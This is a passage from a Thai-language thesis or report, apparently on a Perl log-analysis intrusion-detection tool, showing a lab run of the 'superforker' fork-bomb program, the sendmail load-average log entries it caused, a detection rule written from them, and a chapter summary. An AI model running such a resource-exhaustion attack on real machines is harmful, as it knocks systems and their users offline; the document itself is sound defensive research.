แลวส่ังใหโปรแกรม superforker ทํางาน สําหรับขั้นตอนการทํางานเปนดังนี้

[ssupacho@seclab10 ssupacho]$ ./superforker
Now crashing and blowing up this system.. have a nice day
You can safely logout, and let the proggie do its work
or you can stick around and watch lag go from 0 to bitch
in a matter of seconds
                                        --CoViN
[ssupacho@seclab10 ssupacho]$ Making dirs..
 10:32pm  up 22 min,  3 users,  load average: 0.14, 0.61, 0.38
 10:32pm  up 22 min,  3 users,  load average: 0.14, 0.61, 0.38
 10:32pm  up 22 min,  3 users,  load average: 0.14, 0.61, 0.38
 10:32pm  up 22 min,  3 users,  load average: 0.14, 0.61, 0.38

หลังจากนั้นไดตรวจสอบรองรอยการบุกรุกในล็อกไฟล พบวาการบันทึกขอมูล
ของเหตุการณนี้จะทําผานคา facility ของ mail และคา priority ในระดับ info และ
รอยรอยการบุกรุกเปนดังนี้

Jun 26 22:33:15 seclab10 sendmail[1107]: rejecting connections on daemon
MTA: load average: 250



92

Jun 26 22:33:31 seclab10 sendmail[1107]: rejecting connections on daemon
MTA: load average: 326
Jun 26 22:33:46 seclab10 sendmail[1107]: rejecting connections on daemon
MTA: load average: 368
Jun 26 22:34:02 seclab10 sendmail[1107]: rejecting connections on daemon
MTA: load average: 400
Jun 26 22:34:17 seclab10 sendmail[1107]: rejecting connections on daemon
MTA: load average: 425

ซ่ึงหากนําขอมูลรองรอยการบุกรุกดังกลาวมาเขียนเปนกฎสําหรับการตรวจจับ
การโจมตีดวยวิธีนี้ ก็จะสามารถเขียนกฎไดดังนี้

reject connections on deamon (\S+):load average: ([0-9]+)::too many load on
$1::Correlation-*** checking load/process on your machine
***::email=ssupacho

5.9 สรุป

สําหรับบทนี้ไดกลาวถึงการพัฒนาโปรแกรมสําหรับใชการวิเคราะหล็อก โดยการ
พัฒนาใชภาษา Perl  และโครงสรางขอมูลแบบ associative array ในการเก็บขอมูลกฎและ
เหตุการณตางๆ ในระหวางการวิเคราะหขอมูลรวมถึงการสรางกฎตางๆ เพ่ือใชในการทํางานของ
โปรแกรม ซ่ึงจุดเดนของโปรแกรมท่ีพัฒนาอยูท่ีแนวทางในการตรวจจับซ่ึงเปนการผสมผสาน
ระหวางแนวทางการตรวจจับแบบ anomaly detection คือสวนของการกรองขอมูลเหตุการณปกติ
ออกไป และแนวทางการตรวจจับแบบ misuse detection ท่ีใชสําหรับการตรวจจับวาเหตุการณท่ี
บุกรุกนั้นเปนเหตุการณประเภทใด โดยงานช้ินนี้จะเนนไปท่ีแนวทาง misuse detection นอกจาก
โปรแกรมท่ีพัฒนายังมีความสามารถในการนําตัวแปรพิเศษมาใชในการเขียนกฎสําหรับการตรวจ
จับ และยังสามารถกําหนดคาจํานวนคร้ังท่ีเกิดเหตุการณในชวงระยะเวลาหนึ่งไดดวย ซ่ึงโปรแกรม
วิเคราะหล็อกสวนใหญท่ีมีอยูในปจจุบันไมมีความสามารถดังกลาว และตอไปจะกลาวถึงการ
ทดสอบโปรแกรมท่ีพัฒนาขึ้นและผลการศึกษาเพ่ือวิเคราะหหาจุดสมดุลในการบันทึกขอมูลล็อก


